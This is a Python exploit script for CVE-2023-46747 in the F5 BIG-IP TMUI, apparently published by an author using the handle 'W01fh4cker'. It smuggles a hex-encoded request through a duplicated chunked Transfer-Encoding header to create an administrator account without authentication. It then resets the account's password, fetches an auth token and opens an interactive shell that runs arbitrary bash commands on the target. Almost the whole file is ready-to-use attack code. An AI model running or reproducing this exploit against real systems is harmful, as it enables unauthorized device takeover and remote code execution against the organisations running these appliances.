import argparse import binascii import json import random import time import urllib3 import requests urllib3.disable_warnings() def determineWhetherToUseBurpSuite(proxyUrl): try: faviconUrl = f"{proxyUrl}/favicon.ico" resp = requests.get(faviconUrl, verify=False, timeout=5) if resp.status_code == 200: return True else: return False except: return False def generatesth(num): charset = 'abcdefghijklmnopqrstuvwxyz0123456789' return ''.join(random.choice(charset) for _ in range(num)) def get_random_agent(): agent_list = [ 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36' ] return random.choice(agent_list) def unauth_create_user(target, username, password, proxy): login_request_hex = "0008485454502f312e310000122f746d75692f436f6e74726f6c2f666f726d0000093132372e302e302e310000096c6f63616c686f73740000096c6f63616c686f7374000050000003000b546d75692d44756262756600000b424242424242424242424200000a52454d4f5445524f4c450000013000a00b00096c6f63616c686f73740003000561646d696e000501715f74696d656e6f773d61265f74696d656e6f775f6265666f72653d2668616e646c65723d253266746d756925326673797374656d25326675736572253266637265617465262626666f726d5f706167653d253266746d756925326673797374656d253266757365722532666372656174652e6a737025336626666f726d5f706167655f6265666f72653d26686964654f626a4c6973743d265f62756676616c75653d65494c3452556e537758596f5055494f47634f4678326f30305863253364265f62756676616c75655f6265666f72653d2673797374656d757365722d68696464656e3d5b5b2241646d696e6973747261746f72222c225b416c6c5d225d5d2673797374656d757365722d68696464656e5f6265666f72653d266e616d653d" + binascii.hexlify(username.encode()).decode() + "266e616d655f6265666f72653d267061737377643d" + binascii.hexlify(password.encode()).decode() + "267061737377645f6265666f72653d2666696e69736865643d782666696e69736865645f6265666f72653d00ff00" login_data = b"204\r\n" + binascii.unhexlify(login_request_hex) + b"\r\n0\r\n\r\n" url = f"{target}/tmui/login.jsp" headers = { "Content-Type": "application/x-www-form-urlencoded", "Transfer-Encoding": "chunked, chunked", "User-Agent": get_random_agent() } try: resp = requests.post(url=url, headers=headers, data=login_data, verify=False, proxies=proxy) time.sleep(5) if resp.status_code == 200: return True else: return False except: return False def reset_passwd(target, user, passwd, proxy): url = f"{target}/mgmt/tm/auth/user/{user}" headers ={ "Content-Type": "application/json" } target_json = { "password": f"{passwd}" } try: resp = requests.patch(url=url, headers=headers, json=target_json, verify=False, proxies=proxy, auth=(f"{user}", f"{passwd}")) time.sleep(5) if resp.status_code == 200: return 1 else: return "" except: return "" def get_token(target, user, passwd, proxy): url = f"{target}/mgmt/shared/authn/login" headers = { "Content-Type": "application/json" } target_json = { "username": user, "password": passwd } try: resp = requests.post(url=url, headers=headers, json=target_json, verify=False, proxies=proxy) time.sleep(5) if resp.status_code == 200: return json.loads(resp.content.decode())["token"]["token"] else: return "" except: return "" def exec_command(target, token, cmd, proxy): url = f"{target}/mgmt/tm/util/bash" headers = { "X-F5-Auth-Token": token } cmd_json = { "command": "run", "utilCmdArgs": f"-c \"{cmd}\"" } try: resp = requests.post(url=url, headers=headers, json=cmd_json, verify=False, proxies=proxy) if resp.status_code == 200: return json.loads(resp.content.decode())["commandResult"].rstrip('\n') else: return "" except: return "" def exploit(t, proxy): u = generatesth(5) p = generatesth(12) print(f"\033[94m[*] start to attack: {t}\033[0m") if unauth_create_user(t, u, p, proxy): print(f"\033[94m[*] It seems that the user may have been successfully created without authorization and is trying to obtain a token to verify.\033[0m") print(f"\033[94m[*] Changing initial password to the same thing. Required for first login.") pw_change = reset_passwd(t, u, p, proxy) if pw_change != "": token = get_token(t, u, p, proxy) if token != "": print(f"\033[92m[+] username: [{u}], password: [{p}], token: [{token}]. The website has vulnerability CVE-2023-46747!\033[0m") print("\033[94m[*] start executing commands freely~\033[0m") time.sleep(2) while True: c = input("\033[93mCVE-2023-46747-RCE@W01fh4cker# \033[0m") if c != "": result = exec_command(t, token, c, proxy) retry_time = 0 if result != "": print(result) else: while retry_time < 10: result = exec_command(t, token, c, proxy) if result != "": print(result) break else: if retry_time == 9 and result == "": print(f"\033[91m[-] username: [{u}], password: [{p}], command: [{c}], token: [{token}]. The command [{c}] failed to execute. Please check your network or try manual exploitation.\033[0m") retry_time += retry_time + 1 print(f"\033[91m --> [-] The command [{c}] failed to execute. Attempting {retry_time}th retry.\033[0m") else: continue else: print(f"\033[91m[-] username: [{u}], password: [{p}]. Failed to obtain token. There is a high probability that this website does not have vulnerability CVE-2023-46747. Please try again or test manually by yourself.\033[0m") else: print(f"\033[91m[-] username: [{u}], password: [{p}]. Unable to change initial password.\033[0m") else: print("\033[91m[-] There is no vulnerability in this site.\033[0m") if __name__ == "__main__": banner = """ ______ _______ ____ ___ ____ _____ _ _ __ _____ _ _ _____ / ___\ \ / / ____| |___ \ / _ \___ \|___ / | || | / /|___ | || |___ | | | \ \ / /| _| _____ __) | | | |__) | |_ \ _____| || |_| '_ \ / /| || |_ / / | |___ \ V / | |__|_____/ __/| |_| / __/ ___) |_____|__ _| (_) / / |__ _/ / \____| \_/ |_____| |_____|\___/_____|____/ |_| \___/_/ |_|/_/ Author: W01fh4cker Blog: https://w01fh4cker.github.io """ print(banner) parser = argparse.ArgumentParser(description="F5 BIG-IP TMUI remote code execution vulnerability CVE-2023-46747 Written By W01fh4cker",add_help="eg: python CVE-2023-46747-RCE.py -u https://192.168.149.150:8443/") parser.add_argument("-u", "--url", help="target URL", required=True) parser.add_argument("-p", "--proxy", help="proxy, eg: http://127.0.0.1:7890") args = parser.parse_args() if args.url.endswith("/"): url = args.url[:-1] else: url = args.url if args.proxy: if args.proxy.startswith("http"): if determineWhetherToUseBurpSuite(args.proxy): print("\033[94m[*] DO NOT USE BURPSUITE!!! For details, please see https://github.com/W01fh4cker/CVE-2023-46747-RCE/issues/3\033[0m") exit(0) proxy = { 'http': args.proxy, 'https': args.proxy } else: proxy = {} exploit(url, proxy)